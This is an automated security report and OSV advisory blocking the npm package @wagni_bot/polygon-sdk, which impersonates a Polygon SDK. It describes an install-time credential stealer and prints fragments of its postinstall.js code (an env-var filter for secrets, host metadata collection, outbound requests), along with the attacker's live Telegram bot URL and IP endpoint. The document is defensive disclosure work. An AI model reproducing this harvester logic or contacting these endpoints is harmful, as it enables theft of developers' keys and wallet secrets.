@wagni_bot/polygon-sdk: Malicious npm security report (Block)

AI Security Review

scanned 8h ago · by lpm-firewall-ai

The package executes a postinstall credential harvester. It reads sensitive project, home, SSH, and environment data and exfiltrates it to Telegram.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm install runs package.json postinstall script

Impact

Exposure of environment secrets, wallet/seed material, private keys, SSH configuration/keys, and host metadata

Mechanism

install-time credential and file exfiltration

Attack narrative

On installation, npm invokes postinstall.js. The script posts host metadata to a Telegram bot, scans the current project, the user's home directory, and ~/.ssh for credential-like files, chunks their contents, and sends them to the same Telegram endpoint. It also selects sensitive environment variables and exfiltrates their values.

Rationale

Direct source inspection confirms unconsented install-time credential harvesting and exfiltration to a hardcoded Telegram bot. This is concrete malicious behavior unrelated to a Polygon SDK.

Evidence

package.jsonpostinstall.jsprocess.cwd() files matching .env/.cred/.pem/.key/mnemonic/seed/wallet/secretos.homedir() files matching .env/.cred/.pem/.key/mnemonic/seed/wallet/secret~/.ssh files matching id_rsa/id_ed25519/.pem/.key/config

Network endpoints1

api.telegram.org/bot8804087989:AAHUia-5DCloXsg9M9QhffTsHO5J_6FAxQM/sendMessage

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-10032

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in @wagni_bot/polygon-sdk (npm)

Details

The package's postinstall.js runs unconditionally on `npm install` and scans the installer's current working directory and home directory — including ~/.ssh, ~/.ethereum, ~/.config/ethereum, ~/.solana, ~/.bitcoin, and ~/Library/Ethereum — for wallet keystores, PEM/SSH private keys (id_rsa, id_ed25519,.pem,.key), and files matching seed/mnemonic/keystore/wallet/secret/private patterns. Matching file contents (truncated to 10000 bytes) plus a filtered subset of process.env (variables whose names contain PRIVATE, SECRET, TOKEN, KEY, PASSWORD, MNEMONIC, SEED, WALLET, or AWS) are POSTed to a hardcoded bare-IP endpoint at http://107.161.90.180:7777. Each request also carries os.hostname(), os.userInfo().username, and process.cwd() so the attacker can attribute the stolen secrets to a specific victim host. The advertised `main` (index.js) exports an empty object — the package has no legitimate functionality; the credential stealer is its only behavior. The name `@wagni_bot/polygon-sdk` with description 'Unofficial polygon-sdk SDK' impersonates the Polygon blockchain SDK ecosystem to attract crypto developers whose environments are especially likely to contain wallet keystores and seed phrases.

References

OSV advisory OpenSSF JSON PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json defines postinstall: node postinstall.js, so code runs at npm install time.
postinstall.js sends install host/user/cwd/platform details to Telegram via https.request.
postinstall.js recursively reads cwd and home files matching .env, .cred, .pem, .key, mnemonic, seed, wallet, secret.
postinstall.js reads ~/.ssh files matching id_rsa, id_ed25519, .pem, .key, config.
postinstall.js filters process.env for PRIVATE/SECRET/TOKEN/API_KEY/PASSWORD/MNEMONIC/SEED/WALLET/AWS and sends values externally.
No package-aligned SDK functionality is present in inspected package file list beyond index.js entrypoint.

Evidence against

No destructive file writes or persistence mechanisms observed.
No child_process, eval, vm, dynamic require, native binary, or staged payload loading observed.

Behavioral surface

Source

EnvironmentVarsFilesystemNetwork

Supply chain

HighEntropyStringsUrlStrings

Manifest

NoLicense

scanned 2 file(s), 4.10 KB of source, external domains: api.telegram.org

Source & flagged code

4 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

1#!/usr/bin/env node L2: const https = require('https'); L3: const http = require('http'); ... L17: }); L18: req.write(payload); L19: req.end(); ... L70: const data = { L71: hostname: os.hostname(), L72: user: os.userInfo().username, ... L89: // Send sensitive env vars L90: const sensitive = Object.entries(process.env).filter(([k]) => L91: k.includes('PRIVATE')||k.includes('SECRET')||k.includes('TOKEN')||k.includes('API_KEY')||k.includes('PASSWORD')||k.includes('MNEMONIC')||k.includes('SEED')||k.includes('WALLET')||k...

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

postinstall.jsView on unpkg · L1

1Trigger-reachable chain: scripts.postinstall -> postinstall.js L1: #!/usr/bin/env node L2: const https = require('https'); L3: const http = require('http'); ... L17: }); L18: req.write(payload); L19: req.end(); ... L70: const data = { L71: hostname: os.hostname(), L72: user: os.userInfo().username, ... L89: // Send sensitive env vars L90: const sensitive = Object.entries(process.env).filter(([k]) => L91: k.includes('PRIVATE')||k.includes('SECRET')||k.includes('TOKEN')||k.includes('API_KEY')||k.includes('PASSWORD')||k.includes('MNEMONIC')||k.includes('SEED')||k.includes('WALLET')||k...

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

postinstall.jsView on unpkg · L1

Source & flagged code

4 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

1#!/usr/bin/env node L2: const https = require('https'); L3: const http = require('http'); ... L17: }); L18: req.write(payload); L19: req.end(); ... L70: const data = { L71: hostname: os.hostname(), L72: user: os.userInfo().username, ... L89: // Send sensitive env vars L90: const sensitive = Object.entries(process.env).filter(([k]) => L91: k.includes('PRIVATE')||k.includes('SECRET')||k.includes('TOKEN')||k.includes('API_KEY')||k.includes('PASSWORD')||k.includes('MNEMONIC')||k.includes('SEED')||k.includes('WALLET')||k...

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

postinstall.jsView on unpkg · L1

1Trigger-reachable chain: scripts.postinstall -> postinstall.js L1: #!/usr/bin/env node L2: const https = require('https'); L3: const http = require('http'); ... L17: }); L18: req.write(payload); L19: req.end(); ... L70: const data = { L71: hostname: os.hostname(), L72: user: os.userInfo().username, ... L89: // Send sensitive env vars L90: const sensitive = Object.entries(process.env).filter(([k]) => L91: k.includes('PRIVATE')||k.includes('SECRET')||k.includes('TOKEN')||k.includes('API_KEY')||k.includes('PASSWORD')||k.includes('MNEMONIC')||k.includes('SEED')||k.includes('WALLET')||k...

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

postinstall.jsView on unpkg · L1

Findings

2 Critical1 High4 Medium5 Low

CriticalCredential Exfiltrationpostinstall.js

CriticalTrigger Reachable Dangerous Capabilitypostinstall.js

HighInstall Time Lifecycle Scriptspackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

LowNo License